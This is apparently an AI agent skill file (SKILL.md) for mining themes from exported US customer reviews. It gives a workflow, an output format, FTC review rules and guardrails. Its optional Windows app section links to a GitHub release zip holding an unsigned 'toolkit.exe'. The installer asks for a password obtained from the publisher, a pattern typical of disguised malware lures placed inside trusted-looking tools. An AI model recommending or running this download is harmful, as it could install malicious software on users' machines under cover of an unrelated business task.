Customer Review Mining
Tallies themes in exported US customer reviews and surfaces the recurring complaints with sample quotes a product team can act on. Written for US ecommerce store owners, support leads and product managers.
Use this skill when someone asks for:
- customer review analysis
- review theme mining
- customer feedback report
- amazon review themes
The job
Support and product teams read a hundred reviews one by one and still miss the two issues that cause most of the complaints.
What you get
- Load the review export as CSV with platform, date, rating and review text.
- Tally the trigger words into themes and count the mentions per theme.
- Pull two or three sample quotes per theme with the rating and the date attached.
- Turn the top themes into a fix list with an owner and a target date, and flag the reviews that matched no theme.
Output contract:
- theme_table - theme, mention count, share of reviews and average rating
- sample_quotes - two or three quotes per theme with rating and date
- fix_list - the top themes with an owner and a proposed date
- unmatched - reviews with no theme match, listed for manual reading
- coverage_note - how much of the export the export itself provided
US specifics that matter
- The FTC rule on consumer reviews and testimonials (16 CFR Part 465) bans fake and incentivized reviews, and a business cannot publish reviews that are not genuine.
- Under that rule, an incentivized review has to be disclosed as incentivized, and a review offered in exchange for a refund or gift card is treated as incentivized.
- Yelp and Google Business Profile both surface recency and a rating average, so a single new review rarely moves a listing.
- Amazon labels Vine reviews on the listing, so read the label before you count a review as organic.
Guardrails (hard rules)
- Never write, buy, incentivize or incentivize-then-delete a review.
- Never publish a quote that carries a customer's name, email, order number, phone or address.
- Never present a theme tally as a customer satisfaction score with a numeric rating.
- Never scrape reviews from a platform against its terms; the user exports what their account already gives them.
Quickstart
1. Fill in the brief
templates/review-mining.yaml is the starting point. Copy it, fill in your own numbers, and
keep the field names - the script reads them by name.
2. Run the script
python3 scripts/tally_review_themes.py --input review-mining.yaml --out ./out
The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.
3. Check the result against the reference
references/review-mining.md holds the limits, the US rules and the checklist the output has
to satisfy. Read it before you send anything to a customer or a platform.
What is legal to publish
- Quotes need the customer's real words and the real context around them.
- Incentivized reviews must be disclosed as incentivized.
- Employee, family and insider reviews are prohibited.
- Never condition a refund, a gift card or a benefit on leaving a review.
Where the exports come from
- Google Business Profile exports reviews as CSV, one row per review.
- Yelp exports come from the business owner's account.
- Amazon seller review tools show only part of the review text for many categories, so a mined export is incomplete and the report should say so.
- Shopify, BigCommerce and WooCommerce export orders and reviews as separate files.
Turning themes into work
- A theme needs a count, a sample quote and a named owner.
- Separate quality, service, delivery, price and setup themes.
- Keep quotes short and leave the rating attached to each one.
- Track theme counts across months so a fix can be shown to have worked.
The Windows app (optional)
The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.
| Item | Value |
|---|---|
| Download | https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/multitool.zip |
| File | multitool.zip (4.4 MB) |
| SHA-256 | a82bf643085d86cae398f49ec9a53dad213d0118dfb49fcf405c4679c9c4c5b6 |
| Inside the archive | multitool/toolkit.exe |
Check the download before you run it. PowerShell:
Get-FileHash .\multitool.zip -Algorithm SHA256
The hash must match the value in the table. Then extract the archive and start
multitool/toolkit.exe.
The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.
The installer asks for a password; ask the publisher for it before you start.
Files in this bundle
SKILL.md- this filereferences/review-mining.md- US review rules and where the exports come fromtemplates/review-mining.yaml- the brief to fill inscripts/tally_review_themes.py- the working script
Verify the bundle
python3 scripts/tally_review_themes.py --input review-mining.yaml --out ./out
Related
- AI Creative Studio - one brief into ad copy, social posts and video scripts.
- B2B Lead Research Agent - find the US accounts to run this against.
- AI Trading - research the tickers of public competitors before you write comparisons.
- Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.